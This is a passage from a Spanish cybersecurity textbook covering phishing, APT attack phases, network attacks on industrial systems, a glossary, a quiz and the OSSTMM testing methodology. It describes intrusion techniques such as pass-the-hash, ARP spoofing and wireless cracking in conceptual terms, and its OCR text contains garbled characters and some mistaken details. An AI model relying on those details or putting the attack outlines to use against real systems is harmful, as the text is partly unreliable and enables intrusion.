Puede evitar que los ataques de phishing logren sus objetivos revisando cuidadosamente los
tipos de correos electronicos que abre y los enlaces en los que hace clic. Preste atencién a los

encabezados de los correos electronicos y no haga clic en nada que parezca sospechoso. Marque
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las opciones de Ruta de respuesta y retorno. Deben conectarse al mismo dominio especificado

en el correo electrénico.

Consecuencias de las amenazas: Las amenazas son eventos que pueden causar problemas en el
centro de gestion de crisis, tener un impacto significativo o invisible en los recursos del sistema

de TI o estan relacionados con ¢€l, necesarios para el centro funciona con normalidad.
Las consecuencias de estos efectos pueden ser los siguientes:

. Datios de imagen

o Consecuencias legales

° Robo de Identidad

o Pérdida Financiera
o Dafio a la Reputacién
o Impacto Psicologico

Otras consecuencias, son aquellas que tienen impacto negativo en &mbitos muy diversos, como
por ejemplo el ambito politico, institucional o gubernamental, entre otros. (Sdnchez-Henarejos,
y otros, 2016)

Medidas de privacidad de datos para usuarios:

o Revisar las politicas de privacidad: Antes de proporcionar tus datos personales a una
empresa o plataforma, lee detenidamente su politica de privacidad para conocer coémo trataran

tu informacion.

o Uso de contrasefias seguras: Utiliza contrasefias fuertes y diferentes para cada cuenta y

no las compartas con terceros.

o Cuidado con el phishing: S¢ cauteloso con los correos electronicos o mensajes
sospechosos que solicitan informacidon personal o contrasefias, no hagas clic en enlaces no

verificados.
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o Control de privacidad en redes sociales: Ajusta la configuracion de privacidad en tus

redes sociales para limitar la cantidad de informacidn personal que se comparte publicamente.

o Aplicaciones y permisos: Revisa los permisos solicitados por las aplicaciones antes de
instalarlas en tus dispositivos y otorga solo los permisos necesarios para su correcto

funcionamiento.

. Redes seguras: Evitar el uso de redes wi-fi publicas no seguras para transacciones

sensibles y utilizar redes privadas virtuales (vpn) para cifrar las comunicaciones.

Te recomendamos una serie de practicas generales asociadas a la Regulacion General de
Proteccion de Datos en materia de privacidad de datos tanto para personas fisicas como

juridicas.

Productos de seguridad de datos

Se hace necesario el uso de algunas herramientas que ayuden a mitigar todo esto:

. Data masking: Proporciona seguridad de datos y controles de privacidad para prevenir

el acceso no autorizado y la divulgacion de informacion sensible, privada y confidencial.

. Secure (@ source: Proporciona inteligencia de seguridad de datos para que las

organizaciones puedan comprender los riesgos y vulnerabilidades de los datos confidenciales.

. Test data management: Proporciona el aprovisionamiento seguro y automatizado de

datasets que no son de produccion para satisfacer necesidades de desarrollo.

o Data archive: Podras eliminar aplicaciones heredadas, administrar el crecimiento de los
datos, mejorar el rendimiento de las aplicaciones y mantener el cumplimiento con el archivado

estructurado.

Es importante pensar en la seguridad de los datos y crear seguridad desde el principio. Los
ingenieros de seguridad se esfuerzan por proteger las redes de las amenazas desde el momento
en que surgen hasta que se vuelven confiables y seguras. Los ingenieros de seguridad disefian
sistemas que protegen lo correcto de la manera correcta. Si el objetivo de un ingeniero de
software es asegurarse de que algo suceda, entonces el objetivo de un ingeniero de seguridad
es asegurarse de que no sucedan cosas (malas) mediante el diseflo, implementacion y prueba de

sistemas seguros completos. Los ataques contra la privacidad representan una amenaza
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significativa para la seguridad personal y organizacional. Proteger la privacidad requiere una
combinacion de medidas técnicas, practicas de seguridad efectivas y educacion continua. Al
entender y mitigar los riesgos asociados con estos ataques, se puede preservar la

confidencialidad y la integridad de la informacion personal y sensible.
3.2.4. Amenazas persistentes avanzadas (APT)

Las Amenazas Persistentes Avanzadas (APT, por sus siglas en inglés) son una clase de
ciberataques extremadamente sofisticados y prolongados que tienen como objetivo
comprometer y mantener acceso no autorizado a redes y sistemas durante un largo periodo de
tiempo. Los APT suelen estar respaldados por organizaciones bien financiadas y a menudo
estan asociadas con estados-nacion o grupos criminales avanzados. Las amenazas persistentes
avanzadas utilizan técnicas de pirateria persistentes, ocultas y avanzadas para obtener acceso a
los sistemas y permanecer alli durante largos periodos de tiempo, lo que puede tener

consecuencias devastadoras.

Caracteristicas de las apt: APT o amenazas persistentes avanzadas, es un tipo de ciberataque

que tiene muchas caracteristicas que lo hacen muy peligroso:

o Utilizan métodos de ataque avanzados y sofisticados. Esto incluye no s6lo malware
como botnets y exploits de dia cero, sino también el uso de sofisticadas técnicas de ingenieria

social.

o Son dificiles de detectar porque uno de los objetivos de los ciberdelincuentes es pasar

desapercibidos para el sistema de seguridad de la victima.

o Su objetivo es permanecer en la computadora o sistema de la victima el mayor tiempo
posible. Para ello, se adaptan a los esfuerzos o técnicas de ciberseguridad implementadas por

las victimas y mantienen altos niveles de cooperacion y control entre sus equipos.

o Se desarrollan en diferentes etapas. Comienza obteniendo acceso, luego infecta la
computadora, expandiendo su control y aprendiendo desde adentro para descubrir nuevas

vulnerabilidades.

o Requieren amplios conocimientos de técnicas de hacking y una gran cantidad de
recursos, por lo que muchas veces son llevados a cabo por grupos organizados muy interesados

(por motivos econdmicos o para obtener informacidn valiosa) sobre la victima del ataque.
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o Las victimas suelen ser grandes empresas y corporaciones, gobiernos u otras

organizaciones responsables de la seguridad nacional.

Fases de un ataque APT
Reconocimiento:

o Recopilar informacion sobre el objetivo a través de él.

. Monitorear areas especificas en las que un atacante puede concentrarse para lograr un
compromiso permanente del sistema con el minimo esfuerzo. Durante esta fase, el atacante
debe poder identificar el objetivo, realizar una evaluacion exhaustiva del mismo y recopilar la
mayor cantidad de informacion relevante posible sobre el entorno técnico y el personal clave

de la organizacion objetivo.
Infiltracion:

o Los ciberdelincuentes implementan malware que crea una red de puertas traseras y

tlneles que les permiten moverse a través de los sistemas sin ser detectados.

o El malware suele utilizar técnicas como la reescritura de cddigo para ayudar a los piratas

informaticos a ocultar sus huellas.

Establecimiento de punto de apoyo: Una vez dentro, los piratas informaticos utilizan técnicas
como descifrar contrasefias para obtener acceso a privilegios de administrador, aumentar el

control del sistema y obtener mayores niveles de acceso.

Medios de comunicacion social: Los atacantes pueden utilizar las redes sociales para crear

multiples cuentas y blogs para publicar informacion obtenida de un sistema comprometido.

o Red privada: Actualmente, muchos atacantes utilizan la red TOR para utilizar servicios
ocultos para recibir, publicar o transmitir informacion y es muy eficaz para evadir cualquier

intento de rastrear el ataque.

. Herramienta de acceso remoto (RAT) Si bien los administradores de sistemas suelen
utilizar estas herramientas para obtener acceso remoto legitimo, las RAT se utilizan
habitualmente en ataques cibernéticos debido a su arquitectura cliente-servidor basada en bases
de datos, donde el cliente se ejecuta en la computadora del atacante. La maquina y el servidor

son los dispositivos de la victima.
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Movimientos laterales:

o Utilizando técnicas como el "pass-the-hash™ y el "pivoting," los atacantes se mueven a
través de la red para comprometer otros sistemas y acceder a datos criticos.

o Con un mayor nivel de incursién dentro del sistema gracias a los derechos de
administrador, los hackers pueden moverse por este a voluntad. También pueden intentar

acceder a otros servidores y a otras partes seguras de la red.

Exfiltracion de datos:

o Dado que el objetivo principal de las APT es robar o filtrar informacién confidencial
para obtener ganancias estratégicas, la extraccion de datos es un paso importante para los

atacantes.

o Cabe sefialar que cualquier intento de exfiltracion de datos mal planificado por parte de
un atacante podria permitir rastrear el trafico generado y detectar la direccion a la que se
enviaron los datos. Por esta razén, a veces también se utilizan botnets, que permiten a los
atacantes transportar datos a diferentes destinos a través de multiples saltos y a través de

maultiples dispositivos de transmision de datos en la red para disfrazar su verdadero destino.

Quedarse y aprender: Desde el interior del sistema, los piratas informéaticos obtienen un
conocimiento completo de sus vulnerabilidades de seguridad y funcionalidad, lo que les permite

explotar la informacion que necesitan.

. Los piratas informaticos pueden intentar continuar este proceso, tal vez indefinidamente
o finalizarlo después de haber logrado un objetivo especifico. A menudo dejan la puerta abierta

para poder acceder nuevamente al sistema en el futuro.

Medidas de defensa contra APTs

o Mantenga su software y parches actualizados, es extremadamente importante que el
software se actualice y parchee periddicamente. Si sigue las mejores practicas de gestion de
parches, Tl puede evitar que los piratas informaticos aprovechen las vulnerabilidades de
seguridad. Monitorear la actividad de la red.

o La actividad anormal de la red se puede detectar mediante un monitoreo continuo. Esto

le permite identificar posibles amenazas y evitar el acceso no autorizado.

68| Pagina



o Forma a tus empleados, el conocimiento es poder y en este caso proteccion. Los
empleados deben recibir informacion y capacitacion continua sobre los riesgos de los intentos

de phishing y como evitarlos. Implementar un plan s6lido de respuesta a incidentes.

o Un plan integral de respuesta a incidentes es esencial para combatir los ataques APT.
Este plan debe describir los pasos para identificar, prevenir, eliminar y recuperarse de un ataque.

Ademas, también deberia incluir medidas preventivas para prevenir futuros ataques.

o Realizar periddicamente controles de seguridad y evaluaciones de riesgos. Las pruebas
de seguridad y las evaluaciones de riesgos deben realizarse periédicamente para identificar
posibles vulnerabilidades y vulnerabilidades en la infraestructura de seguridad. Es importante

que se lleven a cabo sin demora.

o Utilice herramientas avanzadas de proteccion contra amenazas. Se necesitan
herramientas avanzadas para combatir amenazas avanzadas. La implementacion de
herramientas avanzadas de proteccion contra amenazas que aprovechan el aprendizaje
automatico y la inteligencia artificial puede ayudar a identificar y eliminar amenazas antes de

que causen dafio.

Si bien las amenazas avanzadas y persistentes son una amenaza importante en la era digital, los
equipos de TI pueden minimizar el riesgo comprendiendo su naturaleza y tomando medidas
preventivas solidas. Si es consciente de las amenazas y utiliza RMM vy las herramientas de
seguridad adecuadas, puede evitar que las amenazas a la seguridad entren en su empresa. Las
Amenazas Persistentes Avanzadas representan uno de los desafios mas formidables en el campo
de la ciberseguridad. Su sofisticacion, persistencia y objetivos especificos requieren una
estrategia de defensa integral que combine tecnologia avanzada, préacticas de seguridad robustas

y una continua concienciacién del personal.
3.2.5. Ataques en entornos industriales e infraestructuras criticas

La infraestructura critica necesaria para el funcionamiento de la sociedad incluye sectores como
la energia, el transporte, la atencion sanitaria, la banca, las comunicaciones y el gobierno. Su
proteccién no sélo garantiza la seguridad nacional, la estabilidad econémica y la seguridad
publica, sino que también apoya la vida cotidiana de las personas, protege su salud y bienestar
y promueve la coexistencia en la sociedad. Por lo tanto, garantizar la continuidad de servicios

esenciales como electricidad, agua y telecomunicaciones es de suma importancia.
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Seguridad informatica: La Seguridad en Sistemas Informdticos, asegura los activos

informaticos. La politica de SI debe ser integral.

o La Sl en los usuarios: Gran parte de los problemas de Sl se deben a acciones negligentes
0 a causa de la falta de capacitacion. Los riesgos no pueden eliminarse totalmente, deben

gestionarse por medio politicas de buenas practicas y uso de estandares recomendados.

o La Sl en las redes: Se debe evitar el acceso de intrusos manteniendo la confidencialidad,
integridad, disponibilidad y control de la red. Es util un sistema de seguridad en capas,
cortafuegos, IDS (“Sistemas de Deteccion de Intrusos”), IPS (“Sistemas de Prevencion de

Intrusos”), ACL (“Listas de Control de Accesos”) y sistemas de autenticacion.

o La Sl en las comunicaciones: Las comunicaciones se pueden cifrar sin demoras notables
ni complicaciones para las tareas de los usuarios. Por eso es recomendable el cifrado de las

comunicaciones donde sea posible.

o La Sl en los Terminales: Las terminales no deben presentar vulnerabilidades ante

ataques. Tanto el sistema operativo, como el antivirus deben estar actualizados.

Figura 3.1 Infraestructura Criticas

Infraestructuras criticas de un pais, segun CISA

Sector quimico Instalam_ones Comunicaciones Manufactura critico
comerciales
Base industrial de Servicios de Tecnologias de la Salud y salud publica
defensa emergencia informacion
Servicios financieros Agroalimentario Sistemas de Agua y saneamiento
transporte
Instalaciones Sector de control de Reactores Nucleares, Sector energético
gubernamentales presas Materiales y Residuos

Fuentes: (CISA, 2021)

Tipos de ataques en entornos industriales

Los ataques cibernéticos a entornos criticos impactan las operaciones comerciales y causan
danos a la propiedad y al medio ambiente. La explotacion de vulnerabilidades en los sistemas
de tecnologia operativa (OT) por parte de un atacante, un grupo cibercriminal o un estado-

nacién puede dafiar una industria o un pais. Estos sistemas se centran en el control directo y la
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automatizacion de maquinaria, plantas industriales, infraestructura critica y otros entornos

fisicos.

A continuacién, se presentan los principales ataques dirigidos a plataformas de comunicacion

que forman parte de sistemas en entornos industriales e infraestructuras criticas.

o El ataque de hombre en el medio, mitm 0 sniffing activo: Se trata de un ataque realizado
a los protocolos de comunicacion entre dos hosts, muy comun en LAN Ethernet conmutadas,
donde un atacante previamente conectado a una red cableada o inaldmbrica interceptara el
trafico entre la puerta de enlace y otras computadoras o entre el cliente y el servidor. Por
ejemplo, enviar mensajes ARP gratuitos envenena la tabla ARP del servidor debido a la falta
de autenticacion. En un entorno WAN, MitM puede volverse efectivo mediante la manipulacion
de la tabla de enrutamiento, asi como mediante el uso de servidores proxy, e incluso mediante
la inyeccion exitosa de codigo en aplicaciones web. En Gltima instancia, independientemente
del entorno y el método utilizado, estas actividades comprometen la seguridad de las
credenciales, archivos adjuntos, consultas SQL, registros de bases de datos y todo. Todo el

trafico se envia a través de la red sin ningun tipo de cifrado.

o El ataque de ARP spoofing: Muy comun en LAN Ethernet conmutadas, permite a los
atacantes comprometer la integridad de las tablas ARP utilizadas por las pilas Ethernety TCP/IP
para crear asociaciones entre direcciones IP y direcciones MAC. Gracias a esta accion, el

agresor puede afectar la seguridad e incluso la disponibilidad del servicio.

o El reply attack o ataque de repeticion: Implica pasar informacién de autenticacion
cifrada o huellas dactilares obtenidas previamente por un atacante a través de un ataque de
escucha al trafico de autenticacion entre un cliente y un servidor legitimos. El atacante no
necesita conocer la informacion de autenticacion de texto sin formato, solo necesita pasar un
codigo de acceso o hash, como en el caso de un ataque de repeticion en sistemas operativos
Windows Ilamado Hash Inyeccion, que utiliza huellas digitales LM HASH, NT HASH.
Unicamente con el proposito de iniciar una sesion ilegal en nombre de un usuario autorizado.
Este ataque puede comprometer la seguridad de la informacion contenida en la cuenta

comprometida.

o HTTP response spliting: Implica manipular el campo de "entrada" del mensaje de
respuesta HTTP agregando una URL maliciosa que podria permitir al atacante redirigir al

usuario victima a ese sitio web.
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o Ataque de flooding 6 inundacion: Cualquier actividad que genere trafico desde uno o
mas protocolos dirigidos a un HOST o dispositivo de comunicacion se clasifica como ataque
de inundacién. Una de las formas mas comunes de afectar las LAN y MAN basadas en Metro
Ethernet es MAC FLOOD, que implica enviar una serie de tramas Ethernet y Metro Ethernet
con direcciones MAC de origen y destino aleatorias para incluirlas en los paquetes de radio o
modulo CAM.

o El ataque wireless cracking: Implica extraer contrasefias utilizadas por los protocolos
de autenticacion WLAN basados en IEEE 802.11, como las variantes WEP y WPA. La técnica
del atacante consiste en obligar al ordenador de un usuario legitimo conectado a la red
inalambrica a desconectarse del punto de acceso para luego capturar una copia del trafico
autenticado, que contendra un conjunto de vectores para protocolos como WEB basado en RC4.
El algoritmo de autenticacion contendra la contrasefia solicitada. Una vez que el servidor

atacante tenga las credenciales, podré conectarse a la red.

o IP y MAC spoofing: Se trata de acciones destinadas a reemplazar o falsificar la direccion
MAC o IP para dificultar la deteccidn precisa del host invasor. Existen herramientas como
SCAPY del grupo THC que pueden crear paquetes IP completos con direcciones falsificadas y
productos como HPING que pueden tomar una direccion IP falsificada y pasarla como
pardmetro al sistema operativo. Los operadores la usaran para crear direcciones IP legitimas,
Paquetes IP. La suplantacién de IP no es en realidad un ataque, sino una actividad maliciosa

que puede preceder a un ciberatague malicioso como SYN FLOODING.

o El ataque de DNS spoofing: Este es un ataque que se puede llevar a cabo a través de una
variedad de métodos y puede comprometer el sistema autbnomo de un ISP desde un Unico
servidor e incluso puede afectar la resolucion de nombres en Internet. Esto se puede hacer
falsificando la respuesta del dominio SOA autorizado para suplantacion, envenenando la caché
del servidor DNS STUB o incluso realizando una transferencia de zona con registros falsos a

un servidor DNS secundario.

Medidas de seguridad para infraestructuras criticas

La ciberseguridad de las infraestructuras criticas es cada vez mas importante en un mundo
donde la dependencia de los sistemas digitales es cada vez mayor. Los gobiernos y las
organizaciones deben adoptar una postura proactiva invirtiendo en tecnologias de seguridad

avanzadas, capacitando a sus empleados en las mejores practicas de ciberseguridad y
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fomentando la colaboracion entre industrias y paises. Solo una estrategia de colaboracion global
puede aumentar la resiliencia a los ciberataques y garantizar la continuidad de los servicios

esenciales para la sociedad.

La guia de INCIBE y UNIR proporciona una serie de consejos para predecir amenazas y

minimizar riesgos en cuatro pasos:

o Evaluacion y analisis: En primer lugar, es necesario mapear las posibles

vulnerabilidades y amenazas en todo el sistema industrial.

o Disefio: Una vez identificadas las amenazas potenciales, se planifican medidas técnicas

y organizativas para mitigarlas.

o Solicitud: Las acciones tomadas deben ir acompafiadas de verificacion y evaluacion

durante y después de su implementacion.

o Trabajo: El sistema de proteccidn creado permanece activo y necesita ser revisado y

actualizado constantemente para evitar pérdida de eficacia.

En cuanto a las medidas de proteccion técnicas o especificas, hacen varias recomendaciones

clave:

. Cortafuegos: La implementacion de firewalls y sistemas de deteccion de intrusiones

robustos ayuda a prevenir y responder a amenazas potenciales.

o Actualizar: Mantener su software y sistemas actualizados con las ultimas
actualizaciones de seguridad es esencial para corregir posibles vulnerabilidades.

o Protocolo: Establecer protocolos de seguridad sélidos para administrar su red ayuda a
garantizar la integridad y seguridad de los datos.

o Desarrollar estandares: Crear e implementar estandares de ciberseguridad especificos
para entornos industriales es fundamental para garantizar operaciones consistentes y efectivas

en toda la industria.

o Dispositivo: Es recomendable eliminar las cosas que ya no se utilizan después de
destruir la informacién confidencial almacenada en ellas, asi como controlar el acceso a los

equipos utilizados.
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o Capacite a los empleados: Eespecialmente aquellos que trabajan en infraestructuras
criticas, para que sean conscientes de las amenazas y vulnerabilidades cibernéticas y sepan

como responder a los incidentes de seguridad.

La ciberseguridad industrial esta prosperando y evolucionando para combatir estas amenazas
con avances tecnoldgicos. Una mayor inversion en estrategias de seguridad y capacitacion del
personal en seguridad serd importante en todos los niveles de la industria. Los ataques en
entornos industriales e infraestructuras criticas representan una amenaza creciente con potencial
para causar dafios significativos. La proteccion de estos entornos requiere una combinacién de

medidas técnicas, practicas de gestion eficaces y una concienciacion continua.

Glosario de términos

. APT (amenazas persistentes avanzadas) Tipo de ciberataques sofisticados y
prolongados en el tiempo, realizados por actores bien financiados y organizados, que buscan

infiltrarse y permanecer en un sistema sin ser detectados.

o ISO: 'International organization for standardization' o 'organizacidon internacional de
normalizacidn', se trata de un o6rgano cuya principal funcion es la de crear normas de caracter

internacional.

o DDoS (distributed denial of service) Ataque de denegacion de servicio distribuido,
donde multiples sistemas envian un gran volumen de trafico a un servidor o red para hacer que

los servicios sean inaccesibles para los usuarios legitimos.

o Phishing: Técnica de engafio utilizada por atacantes para obtener informacion

confidencial, haciéndose pasar por entidades confiables para engafiar a las victimas.

. Ransomware: Tipo de malware que bloquea el acceso a sistemas o datos y exige un

rescate a cambio de liberar el acceso.

o Dumpster diving: (buceo en el contenedor) en informatica se refiere a la exploracion de
la papelera de un sistema con el fin de encontrar detalles para que un pirata informatico pueda

realizar un ciberataque.
° FTP: Protocolo de transferencia de archivos.

. HTTP: Protocolo de transferencia de hipertexto.

74| Pagina



o HTTPS: Protocolo seguro de transferencia de hipertexto.

. SCADA (supervisory control and data acquisition) Sistemas de control industrial
utilizados para supervisar y controlar infraestructuras criticas como plantas de energia y redes

de suministro de agua.

o SQL injection (inyeccion sql) técnica de ataque en la que se introduce codigo SQL
malicioso en una consulta de base de datos para manipularla y acceder a informaciéon no

autorizada.

o Espionaje Cibernético: Actividad de obtener informacién confidencial de manera
secreta y no autorizada, generalmente realizada por gobiernos o entidades con recursos

significativos.

. Integridad de datos: Principio que asegura que los datos se mantienen precisos,

completos y sin alteraciones no autorizadas.

o Manipulacién de datos: Alteracion no autorizada de la informacion en un sistema, que

puede comprometer la integridad y precision de los datos almacenados.

. Robo de identidad: Delito que implica obtener y usar la informacion personal de otra

persona de manera fraudulenta para realizar acciones ilegales.

. RMM: Es la abreviatura de software de monitoreo y gestion remota se utiliza para
cumplir dos funciones: recopilar informacion de terminales y redes remotas para evaluar su

estado. Realizar varias tareas de gestion de ti remotas las mismas sin interrupcion.

. Data masking: Permite a los desarrolladores y evaluadores trabajar con datos de prueba

realistas que se parecen a los originales, pero sin exponer informacion confidencial.

o Pass-the-hash (Pth): Se trata de un tipo de ciberataque en el que se roba el hash de una

contrasefia a los administradores y se utiliza para obtener un acceso no autorizado a toda la red.
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Evaluacién de conocimientos

1.

a)

b)

d)

¢ Qué es un evento en el contexto de ciberseguridad?

Una accion intencional y maliciosa.

Un suceso identificable en un sistema.

Un compromiso de la confidencialidad de la informacion.
Una técnica de engafio para obtener informacion.

¢ Qué es un ciberataque?

Un programa antivirus.

Un intento de obtener acceso no autorizado a un sistema o red.
Una actualizacion de software.

Una copia de seguridad de datos.

¢ Cual de los siguientes es un ejemplo de ataque contra la integridad?
Phishing.

Inyeccion SQL.

Ataque DDoS.

Ataques de protocolo

El phishing es una técnica utilizada para:

Manipular datos.

Obtener informacion confidencial mediante engafio.
Interrumpir el acceso a servicios.

Permanecer en un sistema por un largo periodo.

¢ Qué caracteriza a las Amenazas Persistentes Avanzadas (APT)?
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Son siempre de corta duracion.

Son sofisticadas y prolongadas en el tiempo.

Solo afectan a sistemas industriales.

Son faciles de detectar.

¢ Qué es el ransomware?

Un tipo de ataque DDoS.

Un malware que bloquea el acceso hasta recibir un rescate.
Una técnica de phishing avanzada.

Un sistema de control industrial.

¢ Cudl es la definicién de confidencialidad?

Proteccion de la informacion contra accesos no autorizados.
Garantia de que la informacién esta siempre disponible.
Precision y no alteracion de los datos.

Técnica de manipulacién de datos.

El robo de identidad implica:

Obtener y usar informacion personal de otra persona de manera fraudulenta.
Alterar la integridad de los datos.

Interrumpir el acceso a servicios.

Manipular sistemas de control industrial.

La disponibilidad en ciberseguridad garantiza que:

La informacion sea precisa y no alterada.
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b)

La informacion y los sistemas estén accesibles para los usuarios autorizados.

C) La informacion esté protegida contra accesos no autorizados.
d) Los datos personales sean privados y confidenciales.

10.  ¢Qué es un ataque de fuerza bruta?

a) Un ataque que prueba todas las combinaciones posibles de contrasefias hasta encontrar
la correcta

b) Un ataque que intercepta la comunicacién entre dos partes

c) Un ataque que distribuye software malicioso

d) Un ataque que deshabilita la red mediante trafico excesivo.
11.  ¢Qué es un ataque contra la privacidad?

a) Obtener acceso no autorizado a informacién confidencial.

b) Alterar la precision de los datos.

C) Hacer que los servicios sean inaccesibles.

d) Permanecer en un sistema sin ser detectado.

12.  ¢Cuél es la principal caracteristica de un ataque?

a) Es siempre no intencional.

b) Es una accion intencional y maliciosa.

C) Ocurre de forma rutinaria.

d) Solo afecta la disponibilidad.

13. ¢ Cual es una caracteristica de las Amenazas Persistentes Avanzadas (APT)?
a) Uso de técnicas de hacking béasicas.

b) Acceso de corta duracion a los sistemas comprometidos.
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c)

d)

14.

Sofisticacion y persistencia en el acceso a sistemas.
Ataques exclusivamente a individuos.

¢ Cual de los siguientes es un ejemplo de medida preventiva contra ciberataques a

la privacidad?

a)
b)
c)

d)

15.

a)
b)
c)

d)

No actualizar el software regularmente.

Deshabilitar firewalls.

Uso de redes VPN para conexiones seguras.

Compartir contrasefias con compafieros de trabajo.

¢ Cudl de los siguientes ataques compromete la confidencialidad de los datos?
Denegacidn de servicio (DoS).

Ransomware.

Interceptacion de comunicaciones para robar informaciéon sensible

Ataque de fuerza bruta
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CAPITULO 4 METODOLOGIA DE HACKING

INTRODUCCION

La ciberseguridad en tiempos modernos se ha convertido en un factor critico para la proteccion
de la informacion y los activos digitales de las organizaciones y las personas. Con cada afio que
pasa los ataques cibernéticos son cada vez mas sofisticados, lo que exige un enfoque mas
estructurado y metddico para identificar y mitigar vulnerabilidades. Las metodologias de
hacking son un conjunto de procedimientos y técnicas sistematicas que permiten evaluar la
seguridad de los sistemas informaticos y las redes que las conforman. Estas metodologias no
solo son elementales para la defensa cibernética de las organizaciones, sino que también son
cruciales para la realizacion de pruebas y auditorias de seguridad por parte de los hackers éticos

y profesionales de la seguridad informatica.

Las metodologias de hacking proporcionan un marco estructurado de todas las etapas del
proceso de prueba, desde la recopilacion de informacidn inicial hasta la explotacion de
vulnerabilidades y la posterior mitigacion de riesgos. La comprension de estas metodologias
ayuda a los profesionales de seguridad a mantenerse informado y capacitado para identificar y

remediar vulnerabilidades antes de que puedan ser explotadas.

Este capitulo explora varias metodologias reconocidas y estandarizadas que se usan
ampliamente en la industria de la ciberseguridad. Cada metodologia ofrece un enfoque Uinico y
herramientas especificas para llevar a cabo evaluaciones de seguridad de manera efectiva.
Ademas, se presenta una metodologia general de hacking que abarca las fases criticas del
proceso de hacking ético, proporcionando una guia paso a paso para la identificacion y

explotacion de vulnerabilidades en sistema y redes.

4.1. Metodologias de hacking

4.1.1. OSSTMM (open-source security testing methodology manual)

El Manual de Metodologia de Pruebas de Seguridad de Cddigo Abierto (OSSTMM) es
desarrollada por el Instituto de Seguridad y Metodologias Abiertas (ISECOM). Permite realizar
pruebas, analisis y medicion de la seguridad informatica a nivel operacional en una

organizacion. Estas pruebas abarcan todos los canales operativos empresariales, seguridad

humana, fisicas, inalambricas, telecomunicaciones y redes de datos. Ademas, la guia
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proporciona informacion para la planificacion del proyecto, la cuantificacion de resultados y

las normas de compromiso para llevar a cabo auditorias de seguridad. (Alvarez Intriago, 2018)

Tabla 4.1 Canales establecidos en OSSTMM.

Clase Canal

Humano
Seguridad Fisica (PHYSSEC)

Fisico

Telecomunicaciones
Seguridad de las

Comunicaciones (COMSEC)
Redes de datos

Seguridad del Espectro
(SPECSEC)

Inaldmbrico

Descripcion

Todos los elementos humanos

comprometidos con la comunicacion.

Todos los elementos tangibles de la

organizacion, no electrénicos.

Todas las comunicaciones digitales y

analdgicas.

Todos los sistemas electronicos y de redes

de datos, incluyendo el cableado.

Todos los sistemas que emplean sefiales

electromagneéticas.

Un elemento crucial de la metodologia es la incorporacion del concepto de Valores de

Evaluacién de Riesgo (RAV, Risk Assesment Value), un conjunto de métricas disefiado para

evaluar y medir en cada canal operacional todos los puntos de entrada posibles a través de los

cuales un atacante podria intentar infiltrarse. Este valor se determina equilibrando las

operaciones, los controles y las limitaciones. Idealmente, este valor deberia estar cercano al

100%, un valor superior a este umbral sugeriria un exceso de medidas de seguridad, mientras

que un valor inferior indicaria debilidades en la misma. (Navia & Zambrano Romero,

nstrumento para la auditoria técnica de seguridad informatica en pequefiosproveedores de

Internet, 2021)

Tabla 4.2 Mapa de criterios: operacion, control y limitaciones.

Seguridad operacional
(OpSec)

Categoria

Limitaciones

Operaciones Visibilidad Exposicién
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Acceso
Vulnerabilidad
Confianza

Autenticacion

Indemnizacion

Clase A - o .
] Resiliencia Debilidad
Interactivo
Subyugacion
Continuidad
Controles
Irrevocabilidad
Confidencialidad
Clase B - o ) )
Privacidad Consideraciones
Proceso
Integridad
Alarma

Fuente: (Navia & Zambrano Romero, 2021)

En la pagina oficial de la ISECOM existe una seccion donde se puede una hoja electronica con
las formulas preestablecidas para calcular automaticamente el RAV de un canal., pero es
necesario determinar previamente los valores de los elementos de cada uno de los tres criterios
mencionados. En cuanto a los ambitos legales de seguridad de la informacion, la metodologia
OSSTMM se distingue por su alineacion con diversas politicas y leyes de seguridad,
cumpliendo las regulaciones tanto legales como especificas de cada industria. Las pruebas
realizadas bajo OSSTMM pueden vincularse directamente con los requisitos de normas

formales de seguridad como PCI-DSS, NIST y la serie ISO/IEC 27000.

Actualmente, el manual se encuentra en su version 3.0, que incluye numerosas mejoras respecto
a las versiones anteriores. Estas mejoras abarcan una mayor facilidad de uso, mejor
organizacion y nuevas herramientas. Ademas, al ser una metodologia de codigo abierto, el

manual se actualiza constantemente gracias a una comunidad activa de desarrolladores y
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usuarios, este enfoque colaborativo fomenta una cultura de innovacién y mejora continua que

beneficia a la propia metodologia.
Propésito de la metodologia OSSTMM

El proposito principal de esta metodologia es establecer un marco metodoldgico integral
ampliamente reconocido para la realizacion de pruebas de seguridad exhaustivas y completas
independientemente del tamafo de la organizacion, la tecnologia empleada o las defensas
implementadas. De igual manera, provee ser una guia para los auditores de sistemas al realizar
una auditoria OSSTMM. Estas pautas aseguran que la prueba sea completa e incluya todos los
canales necesarios, que la postura de la prueba cumpla con la ley, y que los resultados sean
cuantificables, consistentes, repetibles y basados Unicamente en hechos derivados de las

mismas pruebas. (Ferreira Gonzélez, 2020)
Esquema de seguridad de sistemas de la metodologia OSSTMM

La metodologia OSSTMM esta conformada por seis secciones, cada una de ellas compuestas
por modulos que a su vez se subdividen en tareas. Esta division permite abordar tanto aspectos

de alto nivel (organizativos) como de bajo nivel (técnicos).

Las secciones son:

. Seguridad de la Informacion

o Seguridad de los Procesos

o Seguridad en las Tecnologias de Internet
o Seguridad en las Comunicaciones

. Seguridad Fisica

Dentro del esquema, se identifican una serie de actividades de prueba especificas para cada
area, donde se verifican las especificaciones de seguridad, integrandolas con las

comprobaciones realizadas en las revisiones rutinarias.
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Figura 4.1 Esquema de metodologia OSSTMM

Seguridad de
los Procesos

Seguridad
Seguridad de | Misica
la Informacion

Seguridad
Inalamorica

Fases de la realizacion de una auditoria segin la metodologia OSSTMM

La metodologia OSSTMM se compone de 7 fases que estructuran el proceso de auditoria. Estas
fases garantizan una evaluacion completa y sistematica de la seguridad, permitiendo a las

organizaciones identificar y mitigar riesgos de manera efectiva.

Tabla 4.3 Fases de la metodologia OSSTMM.

N° Fases Descripcion

Recopilacion de toda la informacién posible sobre los sistemas y
o redes a ser evaluados. Incluye la identificacion de activos,

1  Descubrimiento o )
recopilacion de datos sobre el entorno operativo, y el mapeo de la

infraestructura y los recursos de la organizacion.

Pruebas de los sistemas operativos, la configuracion y los servicios
y en comparacion con la documentacion del sistemay la informacion

2 Enumeracion ) )
recopilada. Se trata de descubrir todos los puntos de entrada y las

posibles vias de ataque.
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o Analizan las vulnerabilidades presentes en los sistemas y redes. Se
Anélisis de . _ o . »
3 - utilizan herramientas y técnicas para descubrir debilidades en la
vulnerabilidades _ y o
configuracion, fallos en el software y otros puntos débiles.

Se simulan ataques para evaluar la seguridad del sistema. Incluye

Pruebas de N N ] .
4 ) pruebas de penetracion para explotar vulnerabilidades identificadas
Seguridad ]
y ver hasta donde puede llegar un atacante
Analisis y Se analizan los resultados de las pruebas para determinar el

